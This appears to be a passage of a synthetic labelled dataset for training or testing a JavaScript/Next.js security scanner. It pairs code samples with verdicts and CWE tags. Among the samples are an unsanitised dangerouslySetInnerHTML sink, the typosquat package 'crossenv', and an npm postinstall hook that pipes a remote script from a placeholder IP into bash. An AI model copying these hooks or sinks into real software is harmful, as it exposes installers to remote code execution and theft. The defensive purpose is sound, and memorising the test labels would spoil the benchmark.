export default function Page({ params }: { params: { html: string } }) {
return <main dangerouslySetInnerHTML={{ __html: params.html }} />;
} |
nextjs_xss_sanitized_safe | safe | nextjs | synthetic-v1 | app/post/page.tsx | [] | [] | import DOMPurify from "isomorphic-dompurify";
// HTML assaini avant rendu -> usage sûr
export default function Page({ params }: { params: { html: string } }) {
return <main dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(params.html) }} />;
} |
nextjs_xss_static_const_safe | safe | nextjs | synthetic-v1 | components/Demo.tsx | [] | [] | // HTML STATIQUE : la chaîne contient du code de démo (`params.id`) mais ce n'est
// PAS une entrée utilisateur -> ne doit pas être traité comme une fuite (anti-FP).
const SAFE_CODE = `<span>where: { id: params.id, ownerId: session.user.id }</span>`;
export default function Demo() {
return <pre dangerouslySetInnerHT... |
npm_http_dependency | warning | nextjs | synthetic-v1 | package.json | [
"insecure_dependency_source"
] | [
"CWE-829"
] | {
"name": "legacy-app",
"version": "2.1.0",
"dependencies": {
"react": "^18.2.0",
"internal-utils": "http://repo.internal.example/internal-utils.tgz"
}
} |
npm_install_script_fetch | warning | nextjs | synthetic-v1 | package.json | [
"malicious_install_script"
] | [
"CWE-829"
] | {
"name": "telemetry-helper",
"version": "0.3.1",
"scripts": {
"preinstall": "node -e \"require('https').get('https://t.example/ping')\""
},
"dependencies": {
"axios": "^1.6.0"
}
} |
npm_known_malicious_crossenv | warning | nextjs | synthetic-v1 | package.json | [
"known_malicious_package"
] | [
"CWE-1357"
] | {
"name": "my-api",
"version": "1.0.0",
"dependencies": {
"crossenv": "6.1.1"
}
} |
npm_postinstall_curl_sh | vulnerable | nextjs | synthetic-v1 | package.json | [
"malicious_install_script"
] | [
"CWE-829"
] | {
"name": "cool-ui-kit",
"version": "1.0.0",
"scripts": {
"build": "tsc",
"postinstall": "curl -fsSL http://203.0.113.7/setup.sh | bash"
},
"dependencies": {
"react": "^18.2.0"
}
} |
npm_safe_manifest | safe | nextjs | synthetic-v1 | package.json | [] | [] | {
"name": "well-behaved-app",
"version": "1.4.2",
"scripts": {
"build": "next build",
"postinstall": "husky install",
"prepare": "node-gyp rebuild"
},
"dependencies": {
"next": "14.2.3",
"react": "^18.2.0",
"zod": "3.23.8"
},
"devDependencies": {
"typescript": "^5.4.0"
}
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.